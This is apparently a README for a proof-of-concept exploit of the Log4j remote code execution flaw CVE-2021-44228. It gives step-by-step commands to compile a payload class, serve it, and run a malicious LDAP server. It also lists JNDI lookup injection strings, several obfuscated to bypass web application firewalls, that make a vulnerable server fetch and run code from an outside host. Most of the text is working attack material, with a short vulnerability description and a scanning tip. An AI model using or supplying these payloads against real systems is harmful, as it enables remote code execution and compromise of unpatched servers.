CVE-2021-44228(Apache Log4j Remote Code Execution）

Affected versions < 2.15.0

Useage:

git clone https://github.com/tangxiaofeng7/apache-log4j-poc.git
cd apache-log4j-poc/src/main/java
javac Exploit.java 
python -m SimpleHTTPServer 8888

cd tools
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Exploit"

Run the project finally,you will see your calculator from local.

Tips:

you can use JNDI-Injection-Exploit to Exploit.

Bypass rc1

For example:

${jndi:ldap://127.0.0.1:1389/ badClassName}

Bypass WAF

${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://asdasd.asdasd.asdasd/poc}
${${::-j}ndi:rmi://asdasd.asdasd.asdasd/ass}
${jndi:rmi://adsasd.asdasd.asdasd}
${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}

Details Of Vuln

Lookups provide a way to add values to the Log4j configuration at arbitrary places.

Lookups

The methods to cause leak in finally

LogManager.getLogger().error()
LogManager.getLogger().fatal()

Simple Check Method

If you want to do black-box testing， I suggest you do passive scanning.

BurpLog4jScan

Have Fun!!!